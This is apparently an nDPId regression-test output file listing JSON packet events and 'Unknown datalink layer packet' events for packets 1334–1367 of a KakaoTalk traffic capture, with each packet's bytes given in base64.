+00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1334,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":964606,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ucSAbDKFfq3fQ1Sapdp8iBtpSzcrgc3\/P9wgX7yLKoPr+m2+\/CL8L45CN4UQbQfkCf8YpCwYahFL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1334,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1335,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":16089,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABI4A2AbE\/\/iz59mguGVRmKW\/Kz3+b\/9UiOC9PmlEyHWzZDnUV\/X9Vp+U7SA\/fa5TW\/mqAmrfaMDR07LCFn0roAJxR+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1335,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1336,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":16394,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJMj6AbFAAiz6BWguGVRl+xzndFNUQrbqe5dUpaEZqz0zbbhptwAiuFzjqBib15DqrMO8EWbw0sHpM5ywjc6yf9EL2pg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1336,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1337,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":41266,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/tySAbDKGfq3jA1SapdqVOs\/uueyGy9gGnEZCIxe6fLar715J3ZuBOtOvzDfn1rVrJ6RzoFnyKJGi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1337,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1338,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":80695,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/MpuAbDKHfq3mw1SapdqzE3d+fUSoHhWghEVGwIc6idQfy+XnURz0Jx+KOcsb\/q1xB8NBrC6DHzSR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1338,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1339,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":116065,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJY9uAbFABiz6FGguGVRlfkkmLalWWWwZ2KvtJPSH83xDYXUWk71vpQHFnU4oGQIP8ifVOaxZjcawnBsRvQvdTAjJb9A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1339,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1340,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":116217,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLBeyAbFACiz6I2guGVRlHrrBrDJjD8G5+L5hyRXcEhDhwW1Ijc8y7OTXkD48J1YSYVnEs+SMNH2L3TpeFtvCGURLyWTk2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1340,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1341,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":163520,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/anyAbDKIfq3qg1Sapdos+Eg6vIMZoty6ZWTUGzv2NElqfvO1WJnhVjR+5AANektf3jSlgKV\/e2Yc"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1341,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1342,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":213965,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABK2tqAbFADiz6MmguGVRmFbfQEv9\/UgiZdiKdJEfBXVnNG6+3cFQSWmm+IOebGYjnbaK+VlVF0zIgMTN6gZD5A4CGQUGg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1342,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1343,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":243537,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/KsyAbDKJfq3uQ1Sapdq3gApGMi3eGl97P5n0oXIkUEX0slymo+5QLBcg\/LHFiunnnIOhhPcgpMjN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1343,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1344,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":284033,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/rV6AbDKKfq3yA1SapdrCRgavQ830uFz9KipKayztiz9ivNobVAB6M5LN4gVqFqGpjKGKm3wU2FnP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1344,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1345,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":312995,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIpcGAbFAEiz6QWguGVRnOhCLkF8saKCosHf9xBrTVKyndNqwl6yIOPxpf2veNzS2Wa8a4DTnt67\/5gdIq9aDyrDjq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1345,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1346,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":313178,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEuzaAbFAFiz6UGguGVRns5JCIB5DxtrI1uTMxY5RuaM0bjWKS\/j6LWj1+dInxMXQUGrNxQjbA5pQf6fL1IVA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1346,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1347,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":343756,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/So+AbDKLfq31w1SapdrIcyE4BXv0ZrR0D+hReLhS9r11BTlJkupmQGMfsGUBIRoIy\/jjzbLRDmHB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1347,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1348,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":352759,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALoAAEAAHBH9wAHJAa4KGFK8WgYoHACmwDSAbE\/Qiz3NWguGVRn70gttv3f0TRM64F6cKC34fIMQCgh5BymzICa+K1R5Kqu9G1uXc98pR46N8XC+u6NJRaujOyi1clT+0cqlC1ZA8Gyny5Zs55drvKm4lAvh1vY8t81C6gP4OU+P6aRm9tRqWFS7DfWfODcVFRWffsV9tCqO3TdO+4EzDQlbV9i7d9xJVxIWGnEvJkrw7hPhc5\/Avw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1348,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1349,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":352912,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKcfyAbDJWfq0vA1SapdoRwDdehE\/\/DYyXjma3dHi7Z7RpkbFL5knFqOfjHPFpc+AdAqRgOSNxLdLKa8Gakd76X+YMBOc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1349,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00563{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1350,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":353614,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK8AAEAAHBH9ywHJAa4KGFK8WgYoHACb+6OAbE\/Riz3RGguGVRmrEphSxvHShg6nv+35kHNqaom7ObMFZ8L3QBy1VDayWSo6W7z3++GcjUHvDVSgCN7X8\/HSS+Te5nIyU4wALQSHgSDOvMxpAgaBNJFUyhiEz2cLz+zZSzv1h7vfMGoHJkDf\/CRnor1vt1FE8ENG3yAslvrwBhbUfJ1HuB2+bwwgwvf0bcNWhtk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1350,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1351,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":353736,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGetWAbDJXfq0yw1SapdrVdkFK\/fjusDEmTyYkzXj4vVypgyo\/ngaTQ202AcuNGdNJnf\/Dw\/M+GXgdVQ9aJ6PJQw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1351,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1352,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":355506,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHkAAEAAHRH9AQHJAa4KGFK8WgQsOABltb6AbDJYfq02g1SapdopmW41PM5Ebi0ezXyrB53oW\/x6VIM4rXFCcf1ZZNG7H2kkV1gKNsjN7ShF1LH\/sXH3t+Dh5RafWp8xjNrumdIFAWBjuDITFrfohR37ZxhCA2w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1352,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1353,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":356116,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFvbCAbDJZfq06Q1SapdrbDMiRfjocufsD80uUgQ1nzXPxtmcsbdbndr97VZjXMWqHM\/WyjCnn\/vI0DWy48aGy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1353,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1354,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":359564,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLRdCAbDJafq0+A1Sapdq1Id+EGxGLINmre4d8OlHiD3QVomUlq4X\/VhIpeuOjJ2bahnPLU21rMN4LtY\/vrT2wE4CLNjKf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1354,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00571{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1355,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":360205,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALQAAEAAHBH9xgHJAa4KGFK8WgYoHACg1z+AbE\/Uiz3cWguGVRmZqFwAVM5Oj2s7QYODbo\/QmjSieKUZcFyzQXFaoZn5n0vbVXUbUJ75c48BgSmeCbnyNezBj+mqI32ZHYGODMmv0vdX+Y1AICMQ3DZwpjtsolXVoQ64UQbP0L5YKIQGFoRvMgiRQmgc8Iqf3U0fymhqBlBxbgfAQoLOr6KqEAlphk7hM6P\/OFxZ32FUFg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1355,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1356,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":360327,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKUAAEAAHBH91QHJAa4KGFK8WgYoHACRjdWAbE\/Viz3gGguGVRnYHjdSXiq4iv9nO6GzHtT8o9LELOnSmgdM30PayZJS1C5eFQLPj6EObkdWI5LtEvjdZNsiqPN\/HOt\/yFNSvurEuX3yJpRV0+3oT3yvmbrpBEApeqf3TRc4uupgAf9GCkcEFYO9N05zd+uEUqPlhLMtxPgSady+to38rsSDYQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1356,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1357,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":360419,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHRH9IwHJAa4KGFK8WgQsOABD3uCAbDJbfq1Bw1SapdpgesJfhEyC5dHZVn0YqEYLl9PwidBAx\/BIEAP994oFn8VkBjR3ETmlC0ULo3s9ow=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1357,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1358,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":360968,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALkAAEAAHBH9wQHJAa4KGFK8WgYoHAClKVKAbE\/Wiz3j2guGVRlx\/n3shVKsKe6Bcr2Was5riOIuL3qeg9AVTSjpniO39x7iDFyWeczRxRYpcEKs69IPVywSBc40IV\/QgbLnssEA8DF0TP8m5wkFLoM13OpF4TVqUBmMDC8RuipfkR7mkccJqkwltGhH2FMpgBbSK3yvFQruTr+wXlUyhZfsXhi6kYQKEI6PRV0qrE8LCSYgz2nP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1358,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1359,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":361060,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/6YOAbDJcfq1Fg1SapdpSXTAEINK47C16hvWmBf6mJ9+hezm2A\/6DWWs53rtV8BF3U+47+fkqgeHC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1359,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1360,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":361579,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/wqCAbDJdfq1JQ1Sapdqgcd7UwOc5orI7w1jnUpe6gsp08sSP79Rd2zCMk803quP+D3klMh+em1yZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1360,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1361,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":387915,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/9H2AbDKMfq35g1SapdqkrmZ22tjaBceDQssikEX6kTDnymBCUph6kwUVuGfI2F6X3Pe+zdtpbYJg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1361,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1362,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":410590,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGbHuAbFAGiz6X2guGVRmbC67Y4vMWoucRDc8Vhei\/72tjIpNDv7Kup7mHtdqG1CM\/lOhx5l1Sl1ei\/steFtIzSQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1362,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00517{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1363,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":410742,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI4AAEAAPxHbFAoYUrwByQGuLDhaBAB6cvSAbFAHiz6bmguGVRlfbjHXxO\/Cd6scgGwaUnE9TC9st+PXQnTDC0FoNkf209h4PFqFpGO44kZqEAFVKMawqBaExLZqLuI8xRvdLDeGxbU7In6RUxOmBYQcgppw4xcIVhQFVnMMaqtJjucaROaJv21gmVM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1363,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1364,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":463538,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZECAbDKNfq39Q1Sapdr7SCN9mllMDFmR3isEgMyL5HVcX0bNFAleKa\/EVWBzxfm0upt0dGI6U64w"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1364,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1365,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":512519,"pkt_caplen":220,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":220,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMwAAEAAPxHa1goYUrwByQGuLDhaBAC4y6+AbFAIiz6fWguGVRmP6IaZ\/xzh28CLk2FQhViSILxQbSJBbey8HzxdBkoCj8syq8i533hNfiHDXSqH6XxgHXgvPB1Mq1BHi8LPVe42v6yfsEGCSKOkqlCvxbkuSRZaeNsM6MmuwXua5lOLGU6Ukhg0FzMS63LH8rLwqugjQtP2W+d2wu38N+gbCsTdYmEAf4i3mNv2REK12jcX+974UvqFuwsvNbn\/p+qFn4WcfoLPAQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1365,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1366,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":522742,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/02WAbDKOfq4BA1SapdoKV05+cF2lnMvR+rCYldownXhsees10mEY8MTLf4K2Cp1r2mzEJApc8TZi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1366,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1367,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":558387,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/1+GAbDKPfq4Ew1SapdrHQPOLVpMt6pI1lG1rv9fDc6uTXo4STzXOKSOcPhq7Tdvs0kbYdowwjnL6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1367,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 